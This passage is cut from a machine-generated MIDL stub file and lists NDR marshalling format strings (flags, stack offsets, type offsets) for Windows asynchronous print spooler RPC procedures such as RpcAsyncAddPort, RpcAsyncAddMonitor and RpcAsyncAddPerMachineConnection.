pcReturned */\n\n/* 3156 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3158 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3162 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3164 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPort */\n\n/* 3168 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3170 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3174 */\tNdrFcShort( 0x31 ),\t/* 49 */\n/* 3176 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3178 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3180 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3182 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3184 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3186 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3188 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3190 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3192 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3194 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3198 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3200 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3202 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 3204 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3206 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3208 */\tNdrFcShort( 0xa00 ),\t/* Type Offset=2560 */\n\n\t/* Parameter pPortVarContainer */\n\n/* 3210 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3212 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3214 */\tNdrFcShort( 0xa14 ),\t/* Type Offset=2580 */\n\n\t/* Parameter pMonitorName */\n\n/* 3216 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3218 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3220 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3222 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3224 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPort */\n\n/* 3228 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3234 */\tNdrFcShort( 0x32 ),\t/* 50 */\n/* 3236 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3238 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3240 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3244 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3246 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3248 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3252 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3258 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3260 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3262 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortName */\n\n/* 3264 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3266 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3268 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 3270 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3272 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3274 */\tNdrFcShort( 0xa00 ),\t/* Type Offset=2560 */\n\n\t/* Return value */\n\n/* 3276 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3278 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3280 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddMonitor */\n\n/* 3282 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3284 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3288 */\tNdrFcShort( 0x33 ),\t/* 51 */\n/* 3290 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3292 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3294 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3298 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3300 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 3302 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3306 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 3312 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3314 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3316 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorContainer */\n\n/* 3318 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3320 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3322 */\tNdrFcShort( 0xa7c ),\t/* Type Offset=2684 */\n\n\t/* Return value */\n\n/* 3324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3326 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeleteMonitor */\n\n/* 3330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3336 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 3338 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3340 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3346 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3348 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3350 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 3360 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3362 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3364 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 3366 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3368 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3370 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorName */\n\n/* 3372 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3374 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3376 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3378 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3380 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrintProcessor */\n\n/* 3384 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3386 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3390 */\tNdrFcShort( 0x35 ),\t/* 53 */\n/* 3392 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3394 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3396 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3400 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3402 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3404 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3406 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3408 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3410 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3412 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 3414 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3416 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3418 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 3420 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3422 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3424 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 3426 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3428 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3430 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3434 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrintProcessorDatatypes */\n\n/* 3438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3444 */\tNdrFcShort( 0x36 ),\t/* 54 */\n/* 3446 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 3448 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3452 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3454 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3456 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 3458 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3460 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3462 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3468 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3470 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3472 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 3474 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3476 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3478 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3480 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3482 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDatatypes */\n\n/* 3486 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3488 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3490 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 3492 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3494 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3496 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3498 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3500 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3502 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3504 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3506 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3508 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3510 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3512 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3514 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPerMachineConnection */\n\n/* 3516 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3522 */\tNdrFcShort( 0x37 ),\t/* 55 */\n/* 3524 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3526 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3528 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3530 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3532 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3534 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3536 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3538 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 3546 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3548 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3550 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 3552 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3554 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3556 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pPrintServer */\n\n/* 3558 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3560 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3562 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pProvider */\n\n/* 3564 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3566 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3568 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3570 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3572 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3574 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePerMachineConnection */\n\n/* 3576 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3578 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3582 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3584 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3586 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3588 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3590 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3592 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3594 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 3596 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3598 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3600 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3604 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 3606 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3608 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3610 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 3612 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3614 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3616 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3618 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3620 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3622 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPerMachineConnections */\n\n/* 3624 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3626 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3630 */\tNdrFcShort( 0x39 ),\t/* 57 */\n/* 3632 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3634 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3636 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3638 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3640 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3642 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 3644 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3646 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3648 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 3654 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3656 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3658 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 3660 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3662 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3664 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 3666 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3668 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3670 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3672 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3674 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3678 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3680 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3684 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3686 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3688 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSyncRegisterForRemoteNotifications */\n\n/* 3690 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3692 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3696 */\tNdrFcShort( 0x3a ),\t/* 58 */\n/* 3698 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3700 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3702 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3704 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3706 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3708 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3710 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3712 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3716 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3720 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3722 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3724 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3726 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pNotifyFilter */\n\n/* 3728 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3730 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3732 */\tNdrFcShort( 0xc6c ),\t/* Type Offset=3180 */\n\n\t/* Parameter phRpcHandle */\n\n/* 3734 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 3736 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3738 */\tNdrFcShort( 0xc80 ),\t/* Type Offset=3200 */\n\n\t/* Return value */\n\n/* 3740 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3742 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3744 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSyncUnRegisterForRemoteNotifications */\n\n/* 3746 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3748 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3752 */\tNdrFcShort( 0x3b ),\t/* 59 */\n/* 3754 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3756 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 3758 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3760 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3762 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3764 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3766 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 3768 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3770 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3772 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3774 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phRpcHandle */\n\n/* 3778 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 3780 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3782 */\tNdrFcShort( 0xc88 ),\t/* Type Offset=3208 */\n\n\t/* Return value */\n\n/* 3784 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3786 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3788 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSyncRefreshRemoteNotifications */\n\n/* 3790 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3796 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 3798 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3800 